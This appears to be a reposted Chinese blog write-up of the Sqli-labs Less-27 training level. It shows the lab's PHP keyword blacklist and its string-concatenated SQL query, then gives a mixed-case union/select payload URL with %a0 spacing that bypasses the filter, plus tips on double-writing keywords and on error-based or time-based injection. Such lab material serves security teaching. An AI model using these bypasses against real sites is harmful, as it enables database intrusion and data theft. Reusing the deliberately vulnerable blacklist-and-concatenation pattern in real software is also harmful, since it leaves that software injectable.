zoukankan      html  css  js  c++  java
  • Sqli-labs Less-27 绕过union、select等过滤 union注入

    关键代码

    function blacklist($id)
    {
    $id= preg_replace('/[/*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --.
    $id= preg_replace('/[#]/',"", $id);            //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);        //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);        //Strip out union
    $id= preg_replace('/select/s',"", $id);        //Strip out select 
    $id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);        //Strip out Union
    $id= preg_replace('/Select/s',"", $id);        //Strip out select
    return $id;
    }
    
    $id=$_GET['id'];
    $id= blacklist($id);
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    print_r(mysql_error());

    PS:正则表达式中的/s表示单行模式匹配,/i表示不区大小写。

    本关主要考察将union,select和26关过滤掉的字符。此处我们依旧和26关的方式是一样的,只需要将union和select改为大小写混合就可以突破。

    示例:http://127.0.0.1/sql/Less-27/?id=100'unIOn%a0seLect%a01,database(),'3

    TIPS:uniunionon也是可以突破限制的。亦可以利用报错注入和延时注入的语法进行注入。

  • 相关阅读:
    [mysql] information_schema数据库表
    Linux 进程操作_12
    Linux 标准输入输出_11
    apache2
    poj 3083 Children of the Candy Corn 夜
    poj 2151 Check the difficulty of problems 夜
    poj 3274 Gold Balanced Lineup 夜
    poj 3414 Pots 夜
    poj Finicky Grazers 3184 夜
    poj 3253 Fence Repair 夜
  • 原文地址:https://www.cnblogs.com/zhengna/p/12655286.html
Copyright © 2011-2022 走看看